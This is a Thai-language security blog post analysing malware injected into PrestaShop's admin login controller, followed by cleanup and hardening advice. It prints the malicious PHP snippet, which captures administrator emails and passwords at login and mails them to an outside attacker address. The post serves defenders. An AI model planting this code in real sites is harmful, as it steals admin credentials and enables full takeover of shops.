ในฐานะแพลตฟอร์มอีคอมเมิร์ซที่เติบโต Prestashop เป็นเป้าหมายใหญ่สำหรับแฮกเกอร์ที่ต้องการขโมยข้อมูล ปกติแล้วข้อมูลที่เป็นเป้าหมายคือหมายเลขบัตรเครดิต แต่เมื่อเร็วๆ นี้ นักวิจัยของเราได้ค้นพบมัลแวร์ขโมยข้อมูลประจำตัว (Credential Stealing) แบบใหม่ที่โจมตีเว็บไซต์ Prestashop และขโมยข้อมูลประจำตัวผู้ดูแลระบบ (Admin Credentials) ซึ่งอาจนำไปสู่การเข้าควบคุมเว็บไซต์ของคุณได้ทั้งหมด
วิธีการทำงานของมัลแวร์ขโมยข้อมูลประจำตัว Prestashop
มัลแวร์ขโมยข้อมูลประจำตัว Prestashop ถูกพบว่าถูกฉีดเข้าไปในไฟล์ ./controllers/admin/AdminLoginController.php บนเว็บไซต์ Prestashop ลงไปแบบนี้:
public function processLogin()
{
/* Check fields validity */
$passwd = trim(Tools::getValue('passwd'));
$email = trim(Tools::getValue('email'));
$to = "admin@wsxdn.com";
$subject = "panel admin prestashop ". $_SERVER['SERVER_NAME'];
$header = "from: hacked <admin@wsxdn.com>";
$message = "Link : https://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] ."&up=hous \r\n email: $email \r\n pass: $passwd \r\n by bajatax -- sniper :v \r\n";
$message .= "Path : " . __file__;
$sentmail = @mail($to, $subject, $message, $header);
$sentmail1 = @mail($to, $subject, $message, $header);โค้ดนี้ใช้ส่งข้อมูลเซิร์ฟเวอร์ไปยังตัวแปร บางตัวแปรที่ส่งรวมถึงชื่อผู้ใช้และรหัสผ่านที่ใช้ล็อกอินเข้าสู่แบ็กเอนด์ Prestashop ข้อมูลที่รวบรวมได้จะถูกส่งไปยังที่อยู่อีเมลของแฮกเกอร์โดยใช้ฟังก์ชัน PHP mail() บางครั้ง
อีเมลที่ส่งไปมีทุกอย่างที่โจมตีต้องการเพื่อล็อกอินเข้าสู่เว็บไซต์ Prestashop ที่ถูกแฮก จากนั้นพวกเขาสามารถเข้าถึงเว็บไซต์ได้ ซึ่งหมายความว่าพวกเขามีการเข้าถึงเต็มรูปแบบของอินเทอร์เฟซแบ็กเอนด์ของเว็บไซต์ของคุณ นี่หมายความว่าพวกเขาสามารถเปลี่ยนเนื้อหา ติดตั้งโมดูลหรือปลั๊กอินปลอม/ติดเชื้อ และทำอะไรได้อีกมากมาย
ในบางกรณี เหยื่อของการแฮกนี้เริ่มรับอีเมล Bounce Back กลับมา — ซึ่งอาจเป็นเพราะ Google ตรวจพบการโจมตีและปิดใช้งาน/รายงานบัญชีที่เกี่ยวข้อง
กลุ่มแฮกเกอร์/ผู้โจมตีที่ดำเนินแคมเปญติดเชื้อมัลแวร์นี้ เชื่อว่ามีชื่อว่า bajatx / B4JAT4T.
วิธีแก้ไขเว็บไซต์หลังติดเชื้อมัลแวร์ขโมยข้อมูลประจำตัว Prestashop
1. สำรองข้อมูลเว็บไซต์ก่อนทำความสะอาด
ขอแนะนำให้ทำให้เว็บไซต์ออฟไลน์ (Offline) เพื่อไม่ให้ผู้ใช้เข้าชมหน้าที่ติดเชื้อขณะที่คุณกำลังทำความสะอาด ให้แน่ใจว่าสำรองไฟล์หลัก (Core Files) และฐานข้อมูลทั้งหมด ไอเดียที่ดีคือการสำรองในรูปแบบไฟล์บีบอัด เช่น .zip
2. แทนที่ไฟล์หลัก, ปลั๊กอิน และธีม
คุณสามารถแทนที่ไฟล์หลักที่ติดเชื้อกับรุ่นต้นฉบับเดียวกันจากแหล่งที่เชื่อถือได้ หลังจากดาวน์โหลดไฟล์และไดเรกทอรีรุ่นใหม่และอัปเดตแล้ว คุณสามารถลบไฟล์เก่าออกได้ ขั้นตอนนี้สำคัญมากในการทำความสะอาดมัลแวร์ขโมยข้อมูลประจำตัว Prestashop เนื่องจากพบโค้ดอันตรายภายในไฟล์หลัก
3. ทำความสะอาดไฟล์น่าสงสัยที่ถูกแก้ไขล่าสุด
คุณอาจพบไฟล์ที่อาจติดเชื้อโดยดูที่ไฟล์ที่ถูกแก้ไขล่าสุด คุณสามารถกู้คืนไฟล์เหล่านี้จากการสำรองข้อมูลที่สะอาดที่คุณมี หรือจากแหล่งที่เชื่อถือได้
4. รันการสแกนมัลแวร์
รันการสแกนมัลแวร์บนเว็บเซิร์ฟเวอร์ของคุณเพื่อหามัลแวร์และไฟล์อันตราย คุณสามารถใช้เครื่องมือ 'Virus Scanner' ใน cPanel ที่ผู้ให้บริการโฮสติ้งให้มา หรือรับบริการกำจัดมัลแวร์จากผู้เชี่ยวชาญกับแผน Astra Pro ซึ่งบล็อกการโจมตีและบอทที่พยายามดาวน์โหลดข้อมูลที่ถูกขโมย
นอกจากขั้นตอนเหล่านี้แล้ว คุณอาจพบว่าบทความเกี่ยวกับความปลอดภัย Prestashop นี้มีประโยชน์
วิธีป้องกันการโจมตีเพิ่มเติม
หลังจากแก้ไขเว็บไซต์ของคุณแล้ว นี่คือแนวทางปฏิบัติด้านความปลอดภัยที่ดีบางประการ ซึ่งจะช่วยให้เว็บไซต์ของคุณปลอดภัยจากมัลแวร์ขโมยข้อมูลประจำตัว Prestashop:
- ให้แน่ใจว่าคุณใช้รุ่นล่าสุดของซอฟต์แวร์
- ใช้ผู้ประมวลผลการชำระเงินบุคคลที่สามที่เชื่อถือได้
- ทำการสแกนมัลแวร์/ตรวจสอบความปลอดภัย (Security Audits) เป็นประจำ
- ลงทุนในไฟร์วอลล์
วิธีเดียวที่มั่นใจได้ว่าจะปกป้องเว็บไซต์ของคุณจากวิธีการของแฮกเกอร์ที่พัฒนาอยู่ตลอดเวลา คือการลงทุนในความปลอดภัย การลงทุนในไฟร์วอลล์เว็บไซต์ รันการสแกนมัลแวร์บ่อยครั้ง และรับการตรวจสอบความปลอดภัยเป็นประจำ เป็นแนวทางที่ยอดเยี่ยมซึ่งจะให้ภาพรวมความปลอดภัยโดยรวมของเว็บไซต์ของคุณได้ดี
